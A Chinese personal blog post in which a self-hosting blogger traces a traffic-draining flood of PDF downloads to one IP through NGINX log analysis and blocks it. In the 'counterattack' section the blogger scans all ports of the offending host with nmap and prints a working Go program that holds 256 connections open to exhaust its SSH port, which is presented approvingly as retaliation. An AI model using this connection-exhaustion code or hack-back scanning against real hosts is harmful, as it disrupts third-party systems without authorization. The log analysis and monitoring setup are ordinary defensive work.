建站 8 年,博客遭遇了第 1 次攻击

陪她去流浪 桃子 2023年05月29日 编辑 阅读次数:2941

这个月内,我的博客历经两次持续时间为一到两天的服务中断。 打破了建站 8 年来的记录,把我的服务可用性直接拉低了 1~2 个百分点,真是可怕! 原因无它,被不知道是什么的东西“恶意攻击”了。

起因

大概是半个月前,5 月 15 号,我突然外网断网了。 经过一番排查,是我的 VPS 服务器流量被耗光了,因为已经在家待了一个月,天天看油管的原因,我觉得应该是正常的。 于是付费让厂商重置了宽带流量。未继续关注。

后过了差不多半个月,也就是昨天(5 月 28 号),流量又被耗光了。 我开始觉得有点不可思议:600GiB 的流量 15 天用完,平均下来一天需要 40 GiB。这是不可能的。 于是我开始看服务器 NGINX 的日志,找到了问题所在。

有东西在恶意跑我服务器的流量

我的服务器上面对外基本只开了一个博客服务,所以首先想到的是按 IP 统计访问情况。 以下是统计结果:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ cat access.log | awk '{print $1}' | sort | uniq -c  | sort -rnk1 | head | column -t
2146959  23.26.218.61
15766    116.30.141.226
7422     192.168.80.2
5313     120.53.243.176
4206     129.146.243.226
3132     42.192.75.95
1763     66.249.68.74
1759     216.244.66.234
1668     118.193.34.169
1603     183.17.125.61

发现 23.26.218.61 这个 IP 的请求量直接“遥遥领先”。 于是我看它都请求了啥:

1
2
3
4
$ cat 23.26.218.61.log  | awk -F$'"' '{print $2}' | sort | uniq -c | sort -rnk1 | column -t
1194974  GET  /812/%E5%A4%A9%E4%BD%BF%E7%88%B1%E7%BE%8E%E4%B8%BD.pdf  HTTP/2.0
947993   GET  /                                                       HTTP/2.0
3992     GET  /674/chess.pdf                                          HTTP/2.0

真是好家伙!把我博客上面的一张琴谱 PDF 文件直接下载了 ~120 万次! 目的很明确,直奔着耗尽我流量去的。真是贱啊!我哪里惹你了吗?

简单的应对措施

Ban IP 是最简单的,直接修改了一下 NGINX 的配置:

1
2
3
4
5
6
7
http {
	server {
		if ($remote_addr = '23.26.218.61') {
			return 403 '(问候它家人)。\n';
		}
	}
}

没有采用 deny 的方式,而是骂了它一下。

这种方式很简单,但是很“没用”。比如人家换个 IP 地址继续下载,就会失效。

展开反攻

人不犯我,我不犯人。

nmap -p 1-65535 23.26.218.61 扫描了它服务器的端口,发现只有 22 号端口开着,没错,就是 SSH。 没想到怎么利用 SSH 端口,于是写了段代码把端口连接全部暴了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
func main() {
	nConns := int32(0)

	for {
		for atomic.LoadInt32(&nConns) < 256 {
			log.Println("nConns:", atomic.AddInt32(&nConns, +1))
			go func() {
				defer func() {
					log.Println("nConns:", atomic.AddInt32(&nConns, -1))
				}()
				conn, err := net.Dial("tcp", os.Args[1])
				if err != nil {
					return
				}
				defer conn.Close()
				io.Copy(os.Stdout, conn)
			}()
		}
		log.Println(`sleeping`)
		time.Sleep(time.Second)
	}
}

因为 SSHD 的默认 MaxStartups 不多,所以 256 个连接就把端口暴了。 我尝试用其它几个主机连接这个端口,是连不上的。

精彩的部分来了!

它应该是发现它自己也连不上 SSH 了,然后(进 VNC)把端口关了。换了个写垃圾的程序,往 22 号端口吐随机垃圾数据。 上述代码中的 io.Copy(os.Stdout, conn) 直接消耗了我大量流量(SSH 协议只有几个字节的数据,不会有这个问题),我……又收到了流量预警的邮件。 真是杀敌 1 个,自损 100% 啊。😅(它敢这么搞,应该是有无限流量的。)

于是改了下代码,我就只占你连接,不直接拷贝你数据了,而是,慢慢陪你玩儿:

1
2
3
4
5
6
7
8
buf := make([]byte, 1)
for {
	if _, err := conn.Read(buf); err != nil {
		log.Println(err)
		return
	}
	time.Sleep(time.Second)
}

1 秒钟读 1 个字节,一天下来,最多不超过 100KiB。256 个连接,一天也就 25MiB 左右。无伤。

效果不错,跑了两天,这东西直接把服务器关了(现象是:我换了好几个 IP 地址都 ping 不通,连不上了,应该不是 ban 的我的 IP)。

于是,简单收个场。

改进措施

博客的代码完全是我自己开发的,但是我不准备动。 而是加上了一个我一直以来就想加的功能:增加监控面板。

我开了个工单,并找厂商拿到了不算 OpenAPI 的 API 接口,并写了个 exporter 把数据导出为 Prometheus 的格式,放在了 Grafana 里面展示了出来。

grafana

并且添加了 Alert Rules,采用 WebHook 的方式把实时告警数据用 Chanify 发送到手机上。 所以,如果后续再有大流量被偷跑,我 5 分钟内就能知道。

心得

很早就说过,我的博客是自己写的,登录页面也没有隐藏,感谢大家给我找安全漏洞。 没有想到的是建站 8 年来,第一次被人攻击(算是恶意行为)。

不过虽然挺讨厌的,但是我除了交了两次重置宽带的费用外,应该没有损失。 反倒是学会了更多的技能。感谢您看上我的站点,以浪费您的时间来攻击我。

What doesn't kill me makes me stronger.

标签:博客日志 · VPS · Prometheus · Grafana